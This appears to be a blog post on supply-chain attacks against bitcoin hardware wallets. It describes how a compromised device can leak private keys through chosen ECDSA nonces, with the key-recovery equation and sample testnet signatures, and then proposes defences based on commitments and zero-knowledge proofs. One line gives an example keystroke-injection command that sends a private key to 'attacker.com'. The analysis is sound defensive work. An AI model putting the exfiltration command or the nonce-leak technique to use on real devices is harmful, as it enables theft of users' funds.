The recent wallet.fail talk on the 35c3 conference showed that even the best hardware wallets can be hacked. And if some wallet manufacturers claim that they are not vulnerable, I would think twice before trusting these statements.
In this post, I want to focus on supply channel attacks and how to use the hardware wallet even if it is compromised. Supply channel attacks are very appealing for hackers as they affect many devices at once and may not require any further interaction with the device by the attacker. Just ship and wait. Let’s discuss what the attacker can do and how we can stop him. We will start with very simple countermeasures and finally get to a pretty fancy one with some math involved.
Storing Bitcoins on a hacked hardware wallet? This is fine.
The ultimate goal of the attacker is to get our private keys. He can potentially replace the firmware of the device, replace the secure element with a malicious chip or include hardware implants to do Bad USB attacks or to send our private keys over the air.
Mobile networks and SigFox are available almost everywhere and the attacker doesn’t need to be around to catch the signal. RF shielding can block all wireless implants — a metal bucket will do the job. There are also commercial products available for phones and other small devices. Looks too paranoid? Depends on the amount you own…
RF shielding nano-tech
Next, generating the private keys on a compromised device is a bad idea, so we should use our own source of entropy instead. We can use dices, coins or any other source of entropy. The best way is to use multiple entropy sources and XOR their outputs. It may be tricky to generate a valid mnemonic from the dices, but it’s doable.
Also, plugging a potentially malicious device to the computer may cause problems. Even though a Bad USB attack is very limited, plugging in the device that can pretend to be a keyboard, start a terminal and run arbitrary code like curl http://attacker.com/?pk= is scary. So we should make our hardware wallet air-gaped. With ColdCard it’s simple — it is air-gapped by design. Trezor promises to implement this feature “in two weeks”. For any other device, we can use a dedicated air-gapped computer to connect the hardware wallet, sign a transaction there, save the signed transaction to SD card and move it to the online machine. And only then we double-check and broadcast the transaction to the network.
Now, the only data passed from the hardware wallet to the outside world is our valid bitcoin transaction. Nothing could go wrong, right? Not quite…
Chosen nonce attack
Do you remember how we sign a bitcoin transaction? We take a hash of the transaction and calculate the signature:
(r, s) = (r, (h+r⋅pk)/k)
Here pk is our private key, h is the hash of the transaction, k is a random or pseudorandom number and r is an x-coordinate of the public point R = k×G. And this pair (r, s) is the signature that we put into the transaction and broadcast to the network.
As we blocked any other possibility for the hardware wallet to talk to the external world, its goal will be to generate a valid signature that leaks some information about our private keys. Then, the attacker can reconstruct the private keys by monitoring these transactions on the blockchain. The only way to do it is to generate a nonce k in a particular way.
Ideally, the nonce k should be either chosen at random or deterministically derived from the message and the private key (there is a standard for that). But when the hardware wallet is hacked, the attacker can choose any number he likes. And our computer can’t even check how this nonce was generated.
Leaking a single private key in this scenario is extremely easy — the hacked wallet just uses a nonce that is known to the attacker. For example, the nonce can be derived by the same deterministic algorithm but using an attacker’s key instead of the user’s private key. Then the attacker can solve a single linear equation and get the private key from the s value of the signature:
pk = (s⋅k – h)/r
I created a testnet transaction to demonstrate this attack. The nonce is generated by the wallet according to the standard deterministic algorithm but instead of our private key, it uses attacker’s secret key (0xf00dbabe). We can easily extract the private key now and steal all the funds. A python notebook constructing this transaction and recovering the key is on GitHub.
This simple attack works only if we are re-using the same addresses. Nowadays we use HD wallets and when the transaction gets to the blockchain the spending address is already empty and the attacker gets a private key of an empty address. What we want instead is to get the master private key. The master private key is 64 bytes long and it is not directly involved in the signing equations. We need to find another way to leak it via nonces.
We are going to do the following: for every outgoing transaction we choose a nonce k such that the number r (x-coordinate of the point R=k×G) starts with an index i followed by the corresponding byte of the master private key mpk[i]. Then the r part of every signature will look like 01mpk[1]<some random crap>, 02mpk[2]<other random crap> and so on. To find k giving us the right r we need to try a few times. On every try we increase k by 1 and add G to the corresponding point R. As addition is much faster than multiplication we can find a correct nonce pretty quickly — the user may not even notice. And roughly after ~64 transactions, we will be able to reconstruct the full master private key. To add some privacy for the attacker we can find nonces that start not with i mkp[i] but with a XOR of this with the attaker’s key: i mpk[i] ⊕ attacker_key. Then only the attacker can reconstruct the key and the signatures don’t look suspicious.
Finding all transactions corresponding to the same wallet is not very hard — normally all transactions from the same HD wallet can be linked to each other, especially when we know what to expect in the first bytes of the signature.
To demo this attack I created a set of bitcoin transactions on the testnet starting from this to this. I used 0x00 as an attacker’s key so anyone can see the bytes of the master private key in the nonces of the signatures:
tx 0: r = 0057360015b25dc6ec...
tx 1: r = 016d24c28dff49f70f...
...
tx 63: r = 3f94476a5630120121...
And we can easily reconstruct the master private key of the attacked wallet — 576d...94 . Full code is also on GitHub.
Now the question is, can we fix it somehow? There are two ways. Both
have certain pros and cons. The core problem in the current protocol is
that we allow the hardware wallet to choose a value that will be directly encoded in the transaction.
We need to take this freedom away either by forcing the hardware wallet
to use a certain algorithm or by randomizing its choice using
additional offset.
Fix 1. Commitments.
First,
let’s talk about randomization. We allow the hardware wallet to choose a
nonce however it wants, but then we fix this choice by asking for a
commitment and provide an additional random number for an offset.
Hardware wallet then has to add this number to its nonce and use their
sum in the signature scheme. In this situation, if one of the devices is
behaving properly, the resulting nonce is random and it can’t contain
any additional information.
To be more precise we require the following procedure:
- the hardware wallet chooses a random number k1 and commits to it by disclosing a corresponding point R1 = k1×G
- the computer sends unsigned transaction data and another random number k2 to the hardware wallet
- the hardware wallet signs the transaction using the nonce k=k1+k2
- the computer verifies that the signature and the transaction are valid and that r part of the signature is an x-coordinate of the point R=k×G=R1+k2×G, where R1 is a point the hardware wallet committed to in the beginning.
This
way our computer checks that the hardware wallet used the nonce it
committed to and added an offset that we provided. There are two
drawbacks in this scheme:
- the
protocol requires several communication rounds, so with an air-gapped
hardware wallet, we will need to move between the computer and the
hardware wallet twice. Or we take two SD cards (one for the commitment
and another one for the second random number and signed transaction). - the hardware wallet can’t use deterministic k
anymore, it has to use truly random numbers from hardware RNG. And
usually RNG = problems. The reason to use RNG is that if the computer
will ask the wallet to sign the same transaction twice and provide two different numbers k2, k2′, usage of the deterministic k1 will immediately reveal the secret key.
In total, this protocol is very easy to implement, but it is less convenient and may require a good source of randomness on the hardware wallet.
Update: We can still use deterministic k generation if the computer commits to its k2 and the hardware wallet uses this commitment to derive its k1. The whole communication process will look like this:
• the computer chooses some value k2. Then it sends to the hardware wallet an unsigned transaction together with the commitment c=sha256(k2).
• the hardware wallet deterministically calculates a nonce k1 from the transaction, the private key and the computer’s commitment c. Then the hardware wallet commits to this nonce by revealing R1=k1×G to the computer.
• the computer sends its nonce k2 to the hardware wallet.
• the hardware wallet checks that the nonce k2 hashes to the value c and signs the transaction using the nonce k=k1+k2.
• the computer verifies that the signature and the transaction are valid and that r part of the signature is an x-coordinate of the point R=k×G=R1+k2×G.
• now it’s safe to broadcast the transaction
Thanks to @n1ckler for bringing this up. There is also a pull request to bitcoin core implementing this feature. And using this protocol with an airgapped wallet is not that painful — we can use two SD cards to sign the transaction. The first one will contain an unsigned transaction, a commitment c=sha256(k2) from the computer and later a commitment R1 from the hardware wallet. The second one will contain the nonce k2 and later a signed transaction from the hardware wallet.
Fix 2. Zero-knowledge proofs
Another option is to force the hardware wallet to use a particular algorithm to generate the nonce and to require a zero-knowledge proof of that. The current standard (RFC6979) uses SHA256 to derive a deterministic nonce from the message and the private key, but the corresponding zero-knowledge proof is extremely hard to calculate. Especially for a hardware wallet.
If you don’t know how zero-knowledge proofs work there is a very nice post by Vitalik Buterin on that (also check the references). Without going into details, zero-knowledge proofs are pretty tolerant to linear operations but blow up in size and complexity as soon as you add multiplications and other non-linear operations. Unfortunately, common hashing algorithms are very non-linear. Roughly speaking, calculating a ZK proof of SHA256 will be as difficult as calculating 10000 signatures. For a hardware wallet, it could take several minutes to generate a proof. Not very usable.
Fortunately, there are other hashing algorithms that are more ZK-friendly. In particular, MiMC hashing algorithm was specifically designed to be used with ZK proofs. We can tailor the deterministic nonce generation algorithm to use MiMC instead of SHA256. With MiMC the hardware wallet will be able to generate a proof in 20 seconds instead of several minutes. Then we can require the hardware wallet to include a ZK prove that this particular deterministic algorithm was used to generate a nonce for every signature. And therefore we can be sure that no data leak is possible. Hardware wallet doesn’t have any choice now. Everything is deterministic and provable.
There are two minor problems with this protocol:
- MiMC is a pretty new hashing algorithm (2016), and we should make sure it is safe to use before deploying it in a real application. In particular, we need to be sure that it is not biased, uniformly distributed and blah blah blah.
- ZK proofs are memory and computationally intensive. Especially when we talk about low performance embedded devices like 180MHz microcontrollers used in hardware wallets. And they are also theoretically complicated… They are pretty hard to understand and implement correctly. But still, doable.
Conclusion
It would be nice to see these or similar signing protocols realized in hardware and software wallets. I would definitely use it if I could. I believe we need to improve the security of our bitcoin storage setups and remove trust in manufacturers of our wallet software and firmware. We can’t read all the code we use, but we can verify that the protocol is used correctly.
I really like a phrase I’ve heard in quantum cryptography field: a good cryptographic setup can be verified and used for secure communication even if it was manufactured by an attacker. I would really like to get to the same level of confidence with our bitcoin setups.
And yeah, don’t forget to use your metal bucket and a foil cap!
